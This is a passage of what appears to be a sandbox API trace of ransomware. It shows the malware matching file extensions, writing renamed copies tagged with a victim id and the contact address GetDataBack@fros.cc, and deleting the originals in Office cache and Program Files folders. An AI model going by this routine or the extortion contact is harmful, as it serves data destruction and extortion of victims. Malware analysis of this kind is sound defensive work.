Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.513] lstrlenW (lpString=".doc") returned 4 [0115.513] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.513] lstrlenW (lpString=".docx") returned 5 [0115.513] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0115.513] lstrlenW (lpString=".pdf") returned 4 [0115.513] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.513] lstrlenW (lpString=".xls") returned 4 [0115.513] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.513] lstrlenW (lpString=".xlsx") returned 5 [0115.513] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0115.513] lstrlenW (lpString=".ppt") returned 4 [0115.513] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.513] lstrlenW (lpString=".zip") returned 4 [0115.513] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.513] lstrlenW (lpString=".rar") returned 4 [0115.513] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.514] lstrlenW (lpString=".bz2") returned 4 [0115.514] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.514] lstrlenW (lpString=".7z") returned 3 [0115.514] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.514] lstrlenW (lpString=".dbf") returned 4 [0115.514] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.514] lstrlenW (lpString=".1cd") returned 4 [0115.514] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.514] lstrlenW (lpString=".jpg") returned 4 [0115.514] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.570] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.570] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.570] lstrlenW (lpString=".doc") returned 4 [0115.570] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.570] lstrlenW (lpString=".docx") returned 5 [0115.570] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0115.570] lstrlenW (lpString=".pdf") returned 4 [0115.570] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.570] lstrlenW (lpString=".xls") returned 4 [0115.570] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.570] lstrlenW (lpString=".xlsx") returned 5 [0115.570] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0115.570] lstrlenW (lpString=".ppt") returned 4 [0115.570] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.570] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.570] lstrlenW (lpString=".zip") returned 4 [0115.570] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.570] lstrlenW (lpString=".rar") returned 4 [0115.570] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.570] lstrlenW (lpString=".bz2") returned 4 [0115.570] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.570] lstrlenW (lpString=".7z") returned 3 [0115.570] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.570] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.570] lstrlenW (lpString=".dbf") returned 4 [0115.571] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.571] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.571] lstrlenW (lpString=".1cd") returned 4 [0115.571] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.571] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.571] lstrlenW (lpString=".jpg") returned 4 [0115.571] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.571] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0115.571] lstrlenW (lpString="Setup.xml") returned 9 [0115.571] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0115.805] GetFileSizeEx (in: hFile=0x164, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=1872) returned 1 [0115.805] CloseHandle (hObject=0x164) returned 1 [0115.805] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0115.805] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.805] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0115.805] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0115.805] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0115.805] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0115.806] GetLastError () returned 0x0 [0115.806] ReadFile (in: hFile=0x164, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x750, lpOverlapped=0x0) returned 1 [0115.807] WriteFile (in: hFile=0x1b8, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x760, lpOverlapped=0x0) returned 1 [0116.304] ReadFile (in: hFile=0x164, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0116.304] WriteFile (in: hFile=0x1b8, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xe6, lpOverlapped=0x0) returned 1 [0116.304] SetEndOfFile (hFile=0x1b8) returned 1 [0116.304] CloseHandle (hObject=0x1b8) returned 1 [0116.305] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0116.305] SetEndOfFile (hFile=0x164) returned 1 [0116.306] CloseHandle (hObject=0x164) returned 1 [0116.306] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0116.306] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0116.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.306] lstrlenW (lpString=".doc") returned 4 [0116.306] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.306] lstrlenW (lpString=".docx") returned 5 [0116.306] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0116.307] lstrlenW (lpString=".pdf") returned 4 [0116.307] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.307] lstrlenW (lpString=".xls") returned 4 [0116.307] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.307] lstrlenW (lpString=".xlsx") returned 5 [0116.307] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0116.307] lstrlenW (lpString=".ppt") returned 4 [0116.307] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.307] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.307] lstrlenW (lpString=".zip") returned 4 [0116.307] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.307] lstrlenW (lpString=".rar") returned 4 [0116.307] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.307] lstrlenW (lpString=".bz2") returned 4 [0116.307] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.307] lstrlenW (lpString=".7z") returned 3 [0116.307] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.307] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.307] lstrlenW (lpString=".dbf") returned 4 [0116.307] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.307] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.307] lstrlenW (lpString=".1cd") returned 4 [0116.307] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.307] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.307] lstrlenW (lpString=".jpg") returned 4 [0116.307] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.307] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.307] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.307] lstrlenW (lpString=".doc") returned 4 [0116.307] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.307] lstrlenW (lpString=".docx") returned 5 [0116.307] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0116.307] lstrlenW (lpString=".pdf") returned 4 [0116.307] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.307] lstrlenW (lpString=".xls") returned 4 [0116.307] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.307] lstrlenW (lpString=".xlsx") returned 5 [0116.307] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0116.307] lstrlenW (lpString=".ppt") returned 4 [0116.307] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.307] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.308] lstrlenW (lpString=".zip") returned 4 [0116.308] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.308] lstrlenW (lpString=".rar") returned 4 [0116.308] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.308] lstrlenW (lpString=".bz2") returned 4 [0116.308] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.308] lstrlenW (lpString=".7z") returned 3 [0116.308] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.308] lstrlenW (lpString=".dbf") returned 4 [0116.308] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.308] lstrlenW (lpString=".1cd") returned 4 [0116.308] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.308] lstrlenW (lpString=".jpg") returned 4 [0116.308] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.308] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0116.308] lstrlenW (lpString="Setup.xml") returned 9 [0116.308] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0116.591] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=31094) returned 1 [0116.591] CloseHandle (hObject=0x19c) returned 1 [0116.591] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0116.591] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0116.591] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0116.591] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0116.591] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0116.591] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0116.591] GetLastError () returned 0x0 [0116.591] ReadFile (in: hFile=0x19c, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x7976, lpOverlapped=0x0) returned 1 [0116.822] WriteFile (in: hFile=0x1b4, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x7980, lpOverlapped=0x0) returned 1 [0116.824] ReadFile (in: hFile=0x19c, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0116.824] WriteFile (in: hFile=0x1b4, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xe6, lpOverlapped=0x0) returned 1 [0116.824] SetEndOfFile (hFile=0x1b4) returned 1 [0116.824] CloseHandle (hObject=0x1b4) returned 1 [0116.825] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0116.825] SetEndOfFile (hFile=0x19c) returned 1 [0116.826] CloseHandle (hObject=0x19c) returned 1 [0116.826] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0116.826] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0116.826] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.826] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.826] lstrlenW (lpString=".doc") returned 4 [0116.826] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.826] lstrlenW (lpString=".docx") returned 5 [0116.826] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0116.826] lstrlenW (lpString=".pdf") returned 4 [0116.826] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.826] lstrlenW (lpString=".xls") returned 4 [0116.826] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.826] lstrlenW (lpString=".xlsx") returned 5 [0116.826] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0116.826] lstrlenW (lpString=".ppt") returned 4 [0116.826] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.826] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.826] lstrlenW (lpString=".zip") returned 4 [0116.827] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.827] lstrlenW (lpString=".rar") returned 4 [0116.827] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.827] lstrlenW (lpString=".bz2") returned 4 [0116.827] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.827] lstrlenW (lpString=".7z") returned 3 [0116.827] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.827] lstrlenW (lpString=".dbf") returned 4 [0116.827] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.827] lstrlenW (lpString=".1cd") returned 4 [0116.827] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.827] lstrlenW (lpString=".jpg") returned 4 [0116.827] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.827] lstrlenW (lpString=".doc") returned 4 [0116.827] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.827] lstrlenW (lpString=".docx") returned 5 [0116.827] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0116.827] lstrlenW (lpString=".pdf") returned 4 [0116.827] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.827] lstrlenW (lpString=".xls") returned 4 [0116.827] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.827] lstrlenW (lpString=".xlsx") returned 5 [0116.827] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0116.827] lstrlenW (lpString=".ppt") returned 4 [0116.827] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.827] lstrlenW (lpString=".zip") returned 4 [0116.827] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.827] lstrlenW (lpString=".rar") returned 4 [0116.827] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.827] lstrlenW (lpString=".bz2") returned 4 [0116.827] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.827] lstrlenW (lpString=".7z") returned 3 [0116.827] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.828] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.828] lstrlenW (lpString=".dbf") returned 4 [0116.828] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.829] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.829] lstrlenW (lpString=".1cd") returned 4 [0116.829] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.829] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0116.829] lstrlenW (lpString=".jpg") returned 4 [0116.829] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.829] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0116.829] lstrlenW (lpString="MS.PNG") returned 6 [0116.829] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0116.858] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=1682) returned 1 [0116.858] CloseHandle (hObject=0x19c) returned 1 [0116.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 0x20 [0116.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0116.858] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0116.858] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0116.859] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0116.859] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0116.859] GetLastError () returned 0x0 [0116.859] ReadFile (in: hFile=0x19c, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x692, lpOverlapped=0x0) returned 1 [0116.860] WriteFile (in: hFile=0x1b4, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x6a0, lpOverlapped=0x0) returned 1 [0116.861] ReadFile (in: hFile=0x19c, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0116.861] WriteFile (in: hFile=0x1b4, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xe0, lpOverlapped=0x0) returned 1 [0116.861] SetEndOfFile (hFile=0x1b4) returned 1 [0116.861] CloseHandle (hObject=0x1b4) returned 1 [0116.862] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0116.862] SetEndOfFile (hFile=0x19c) returned 1 [0116.862] CloseHandle (hObject=0x19c) returned 1 [0116.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0116.863] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 1 [0116.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0116.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0116.863] 